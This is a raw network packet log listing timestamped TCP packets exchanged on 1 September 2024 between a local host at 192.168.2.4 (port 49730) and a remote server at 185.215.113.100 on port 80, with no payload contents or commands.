Sep 1, 2024 01:22:11.668051958 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.668073893 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.668077946 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668090105 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668101072 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668111086 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668121099 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668121099 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.668144941 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.668167114 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.668178082 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668188095 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668199062 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668206930 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668216944 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668225050 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.668226957 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668250084 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.668276072 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.668346882 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668356895 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668366909 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668375969 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668385983 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668395042 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.668400049 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668409109 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.668411016 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668420076 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668426037 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.668431997 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668453932 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.668461084 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668468952 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668478012 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668478012 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.668494940 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668500900 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.668504953 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668514013 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668524027 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.668533087 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668540955 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.668544054 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668551922 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668562889 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668572903 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668581009 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.668582916 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668586969 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.668591976 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668620110 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.668648958 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.668653965 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668663025 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668675900 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668694973 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668700933 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.668705940 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668723106 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668724060 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.668739080 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668750048 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.668751955 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668762922 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668771029 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668773890 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.668781996 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668790102 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668792009 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.668801069 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668809891 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.668811083 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668819904 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668837070 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.668854952 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668858051 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.668865919 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668874979 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668884993 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668894053 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.668898106 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.668917894 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.668935061 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.669181108 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.669188976 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.669229984 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.669272900 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.669284105 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.669295073 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.669305086 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.669318914 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.669343948 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.669344902 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.669356108 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.669362068 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.669368982 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.669383049 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.669393063 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.669397116 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.669404030 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.669414997 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.669433117 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.669440031 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.669444084 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.669452906 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.669480085 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.669497013 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.669534922 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.669544935 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.669554949 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.669579029 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.669611931 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.669640064 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.669651031 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.669660091 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.669670105 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.669678926 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.669680119 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.669718027 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.670025110 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.670066118 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.670068979 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.670103073 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.670129061 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.670139074 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.670150042 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.670159101 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.670171022 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.670176029 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.670186043 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.670197964 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.670212030 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.670236111 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.753788948 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.753823042 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.753830910 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.753879070 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.753892899 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.753895044 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.753911972 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.753925085 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.753935099 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.753937960 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.753945112 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.753957033 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.753988981 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.754019022 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.754029036 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.754038095 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.754048109 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.754065037 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.754065990 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.754076004 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.754086018 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.754086971 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.754097939 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.754107952 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.754115105 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.754121065 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.754128933 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.754141092 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.754162073 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.754183054 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.754193068 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.754201889 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.754213095 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.754223108 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.754228115 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.754232883 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.754242897 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.754245996 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.754260063 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.754270077 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.754270077 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.754280090 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.754287958 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.754291058 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.754300117 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.754312038 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.754318953 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.754333019 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.754339933 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.754345894 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.754355907 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.754359007 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.754391909 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.754409075 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.754436016 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.754451990 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.754479885 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.754498959 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.754540920 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.754560947 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.754602909 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.754618883 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.754662037 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.754868984 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.754913092 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.754914045 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.754957914 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.755013943 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755024910 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755038977 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755057096 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755062103 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.755068064 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755076885 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755088091 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755088091 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.755098104 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755109072 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755111933 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.755137920 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.755153894 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.755166054 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755175114 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755181074 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755188942 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755199909 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755213022 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755214930 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.755230904 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755243063 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755244970 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.755255938 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.755259037 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755269051 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755278111 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755284071 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.755286932 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755296946 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755306005 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.755306959 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755322933 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.755352974 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.755388021 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755398035 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755414963 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755424976 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755431890 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.755439997 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755449057 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755458117 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755460978 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.755469084 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755479097 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755487919 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.755490065 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755501032 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755506992 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.755512953 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755522013 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.755546093 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.755568981 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.755595922 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755605936 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755615950 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755625963 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755635977 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755642891 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.755645990 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755659103 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755667925 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755670071 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.755677938 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755688906 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.755693913 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755703926 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.755706072 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755717993 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755733013 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.755734921 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755744934 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755754948 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755759954 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.755767107 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755778074 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755779982 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.755788088 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755795002 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.755798101 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755808115 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755820990 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755824089 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.755831957 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755846024 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.755858898 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.755861998 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755872965 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755882025 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755887985 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.755892038 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755903006 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755904913 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.755913019 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755923033 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755930901 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.755939007 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755948067 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.755959034 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755960941 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.755968094 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755978107 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755985975 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.755986929 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.755991936 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.756001949 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.756006956 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.756014109 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.756031036 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.756051064 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.756375074 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.756388903 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.756397963 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.756417036 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.756424904 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.756443977 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.756469965 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.756496906 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.756514072 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.756525993 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.756532907 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.756540060 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.756546974 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.756571054 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.840096951 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840114117 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840122938 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840127945 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840137959 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:11.840186119 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:11.840193033 CEST	80	49730	185.215.113.100	192.168.2.4
